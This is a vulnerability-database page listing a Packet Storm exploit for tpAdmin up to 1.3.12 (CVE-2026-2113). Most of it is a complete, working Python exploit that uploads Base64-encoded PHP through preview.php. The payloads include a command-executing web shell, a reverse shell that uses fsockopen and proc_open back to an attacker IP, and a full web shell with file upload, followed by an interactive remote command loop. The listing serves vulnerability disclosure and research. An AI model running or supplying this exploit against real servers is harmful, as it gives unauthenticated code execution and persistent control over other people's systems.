Lucene search
K

๐Ÿ“„ tpAdmin 1.3.12 Shell Upload

๐Ÿ—“๏ธย 09 Mar 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 125ย Views

tpAdmin up to 1.3.12 enables unauthenticated remote code execution via preview.php uploads with Base64 data URIs.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-2113
7 Feb 202621:02
โ€“attackerkb
Circl
CVE-2026-2113
8 Feb 202600:34
โ€“circl
CNNVD
tpAdmin ไปฃ็ ้—ฎ้ข˜ๆผๆดž
7 Feb 202600:00
โ€“cnnvd
CVE
CVE-2026-2113
7 Feb 202621:02
โ€“cve
Cvelist
CVE-2026-2113 yuan1994 tpadmin WebUploader preview.php deserialization
7 Feb 202621:02
โ€“cvelist
EUVD
EUVD-2026-5715
7 Feb 202621:02
โ€“euvd
NVD
CVE-2026-2113
7 Feb 202621:15
โ€“nvd
Packet Storm
๐Ÿ“„ yuan1994 tpadmin Shell Upload
10 Feb 202600:00
โ€“packetstorm
Positive Technologies
PT-2026-6920
7 Feb 202600:00
โ€“ptsecurity
RedhatCVE
CVE-2026-2113
9 Feb 202601:33
โ€“redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : tpAdmin โ‰ค 1.3.12 Remote Code Execution via Arbitrary File Upload                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://github.com/yuan1994/tpAdmin                                                                                         |
    =============================================================================================================================================
    
    [+] Summary    : A critical Remote Code Execution (RCE) vulnerability exists in tpAdmin versions โ‰ค 1.3.12 due to improper validation of file uploads within the preview.php component under /admin/lib/webuploader/0.1.5/server/.
                     The application fails to properly validate file type, MIME type, and executable content when processing Base64-encoded data URIs. 
    				 An attacker can craft a malicious payload disguised as an image and upload arbitrary PHP code to the server. 
    				 If the uploaded file is stored within a web-accessible directory and PHP execution is permitted, this results in unauthenticated remote code execution
    
    [+] POC : 
    
    #!/usr/bin/env python3
    
    import requests
    import base64
    import sys
    import argparse
    from urllib.parse import urljoin
    import time
    
    class Colors:
        GREEN = '\033[92m'
        RED = '\033[91m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        END = '\033[0m'
    
    def print_banner():
        """Prints the tool banner"""
        banner = f"""
    {Colors.BLUE}
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘      tpadmin RCE Exploit                                     โ•‘
    โ•‘      Remote Code Execution via Arbitrary File Upload         โ•‘
    โ•‘      Discovered by: indoushka                                โ•‘
    โ•‘      Exploit coded for educational purposes only             โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    {Colors.END}
        """
        print(banner)
    
    def encode_payload(php_code):
        """
        Encodes PHP code to base64
        
        Args:
            php_code (str): The PHP code to be encoded
            
        Returns:
            str: The base64 encoded code
        """
        return base64.b64encode(php_code.encode()).decode()
    
    def upload_shell(target_url, php_code, output_file=None):
        """
        Uploads a shell to the target server
        
        Args:
            target_url (str): The base target URL
            php_code (str): The PHP code to upload
            output_file (str): The resulting filename (optional)
            
        Returns:
            tuple: (Success status, shell link, message)
        """
    
        vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php"
        full_url = urljoin(target_url, vuln_path)
        encoded_code = encode_payload(php_code)
    
        payload = f"data:image/php;base64,{encoded_code}"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Content-Type": "application/x-www-form-urlencoded",
            "Connection": "keep-alive"
        }
        
        try:
            print(f"{Colors.YELLOW}[*] Sending payload to: {full_url}{Colors.END}")
    
            response = requests.post(
                full_url,
                headers=headers,
                data=payload,
                timeout=10,
                verify=False 
            )
    
            if response.status_code == 200:
    
                import re
                url_pattern = r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
                urls = re.findall(url_pattern, response.text)
                
                shell_url = None
                for url in urls:
                    if '.php' in url:
                        shell_url = url
                        break
    
                if not shell_url:
    
                    filename_match = re.search(r'([a-f0-9]+\.php)', response.text)
                    if filename_match:
                        filename = filename_match.group(1)
                        shell_url = urljoin(target_url, f"/public/uploads/{filename}")
                
                return True, shell_url, "File uploaded successfully"
            else:
                return False, None, f"Upload failed: {response.status_code}"
                
        except requests.exceptions.Timeout:
            return False, None, "Connection timed out"
        except requests.exceptions.ConnectionError:
            return False, None, "Failed to connect to the server"
        except Exception as e:
            return False, None, f"Error: {str(e)}"
    
    def generate_php_shell(shell_type="simple"):
        """
        Generates PHP shell code of various types
        
        Args:
            shell_type (str): Shell type (simple, system, reverse, full)
            
        Returns:
            str: PHP code
        """
        
        shells = {
            "simple": """<?php phpinfo(); ?>""",
            
            "system": """<?php
        echo "<h2>System Command Executor</h2>";
        if(isset($_REQUEST['cmd'])) {
            echo "<pre>";
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            echo "</pre>";
            die;
        } else {
            echo "Usage: ?cmd=command";
        }
    ?>""",
            
            "reverse": """<?php
        // Reverse Shell - Replace IP and PORT
        $ip = 'YOUR_IP';
        $port = YOUR_PORT;
        $sock = fsockopen($ip, $port);
        $proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
    ?>""",
            
            "full": """<?php
        // Integrated Web Shell
        echo "<h1 style='color:red;'>tpadmin RCE Shell - CVE-2026-2113</h1>";
        echo "<hr>";
        
        // System Information
        echo "<h3>System Info:</h3>";
        echo "<pre>";
        echo "OS: " . php_uname() . "\\n";
        echo "User: " . get_current_user() . "\\n";
        echo "PHP Version: " . phpversion() . "\\n";
        echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\\n";
        echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\\n";
        echo "</pre>";
        
        // Command Execution
        if(isset($_REQUEST['cmd'])) {
            echo "<h3>Command Execution:</h3>";
            echo "<pre>";
            $cmd = $_REQUEST['cmd'];
            system($cmd);
            echo "</pre>";
        }
        
        // Simple UI
        echo "<hr>";
        echo "<form method='POST'>";
        echo "Command: <input type='text' name='cmd' size='50'>";
        echo "<input type='submit' value='Execute'>";
        echo "</form>";
        
        // File Upload
        if(isset($_FILES['file'])) {
            $uploaddir = './';
            $uploadfile = $uploaddir . basename($_FILES['file']['name']);
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                echo "File uploaded: " . $uploadfile . "\\n";
            } else {
                echo "File upload failed\\n";
            }
        }
        
        echo "<hr>";
        echo "<form enctype='multipart/form-data' method='POST'>";
        echo "Upload file: <input type='file' name='file'>";
        echo "<input type='submit' value='Upload'>";
        echo "</form>";
    ?>"""
        }
        
        return shells.get(shell_type, shells["simple"])
    
    def check_vulnerability(target_url):
        """
        Checks if the target is vulnerable
        
        Args:
            target_url (str): The target URL
            
        Returns:
            bool: Whether the target is vulnerable
        """
        
        vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php"
        full_url = urljoin(target_url, vuln_path)
        
        try:
            response = requests.get(full_url, timeout=5, verify=False)
    
            if response.status_code == 200:
    
                test_code = "<?php echo 'test'; ?>"
                encoded = encode_payload(test_code)
                payload = f"data:image/php;base64,{encoded}"
                
                test_response = requests.post(
                    full_url,
                    data=payload,
                    timeout=5,
                    verify=False
                )
                
                if test_response.status_code == 200:
                    return True
                    
        except:
            pass
            
        return False
    
    def interactive_shell(shell_url):
        """
        Runs an interactive shell
        
        Args:
            shell_url (str): The shell URL
        """
        
        print(f"{Colors.GREEN}[+] Interactive shell started{Colors.END}")
        print(f"{Colors.YELLOW}[*] Type 'exit' to quit{Colors.END}")
        print(f"{Colors.YELLOW}[*] Type 'help' for assistance{Colors.END}")
        
        while True:
            try:
                cmd = input(f"{Colors.BLUE}shell> {Colors.END}").strip()
                
                if cmd.lower() == 'exit':
                    break
                elif cmd.lower() == 'help':
                    print("Available commands:")
                    print("  exit         - Exit the shell")
                    print("  help         - Display this help")
                    print("  clear        - Clear the screen")
                    print("  any command  - Execute any system command")
                    continue
                elif cmd.lower() == 'clear':
                    import os
                    os.system('cls' if os.name == 'nt' else 'clear')
                    continue
                elif not cmd:
                    continue
                    
                # Send command to shell
                params = {'cmd': cmd}
                response = requests.get(shell_url, params=params, timeout=10, verify=False)
                
                if response.status_code == 200:
                    print(response.text)
                else:
                    print(f"{Colors.RED}[-] Error executing command{Colors.END}")
                    
            except KeyboardInterrupt:
                print("\nExiting...")
                break
            except Exception as e:
                print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
    
    def main():
        """Main function"""
        
        print_banner()
        
        parser = argparse.ArgumentParser(
            description="tpadmin RCE Exploit - CVE-2026-2113",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument(
            "-u", "--url",
            required=True,
            help="Target URL (e.g., http://target.com)"
        )
        
        parser.add_argument(
            "-t", "--type",
            choices=["simple", "system", "reverse", "full"],
            default="simple",
            help="Shell type (default: simple)"
        )
        
        parser.add_argument(
            "-c", "--command",
            help="Single command to execute (instead of interactive shell)"
        )
        
        parser.add_argument(
            "-o", "--output",
            help="Save results to a file"
        )
        
        parser.add_argument(
            "--check-only",
            action="store_true",
            help="Only check if the target is vulnerable"
        )
        
        parser.add_argument(
            "--no-ssl-verify",
            action="store_true",
            help="Ignore SSL certificate verification"
        )
        
        args = parser.parse_args()
    
        if args.no_ssl_verify:
            requests.packages.urllib3.disable_warnings()
    
        print(f"{Colors.YELLOW}[*] Checking target: {args.url}{Colors.END}")
        
        if args.check_only:
            if check_vulnerability(args.url):
                print(f"{Colors.GREEN}[+] Target is vulnerable!{Colors.END}")
                sys.exit(0)
            else:
                print(f"{Colors.RED}[-] Target is not vulnerable or unreachable{Colors.END}")
                sys.exit(1)
    
        php_code = generate_php_shell(args.type)
    
        if args.command and args.type == "system":
            php_code = f"<?php system('{args.command}'); ?>"
    
        success, shell_url, message = upload_shell(args.url, php_code, args.output)
        
        if success:
            print(f"{Colors.GREEN}[+] {message}{Colors.END}")
            
            if shell_url:
                print(f"{Colors.GREEN}[+] Shell URL: {shell_url}{Colors.END}")
    
                if args.output:
                    with open(args.output, 'w') as f:
                        f.write(f"Target: {args.url}\n")
                        f.write(f"Shell URL: {shell_url}\n")
                        f.write(f"PHP Code:\n{php_code}\n")
                    print(f"{Colors.GREEN}[+] Results saved to: {args.output}{Colors.END}")
    
                if args.command:
    
                    response = requests.get(shell_url, params={'cmd': args.command}, verify=False)
                    if response.status_code == 200:
                        print(f"{Colors.GREEN}[+] Command result:{Colors.END}")
                        print(response.text)
                    else:
                        print(f"{Colors.RED}[-] Command execution failed{Colors.END}")
                else:
    
                    try:
                        interactive_shell(shell_url)
                    except KeyboardInterrupt:
                        print("\nExiting...")
                        
            else:
                print(f"{Colors.YELLOW}[*] Shell link not found; manual search might be required{Colors.END}")
                print(f"{Colors.YELLOW}[*] Try looking in: {args.url}/public/uploads/{Colors.END}")
                
        else:
            print(f"{Colors.RED}[-] {message}{Colors.END}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2026 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.3 - 9.8
CVSS 46.9
CVSS 27.5
CVSS 37.3
EPSS0.00021
SSVC
125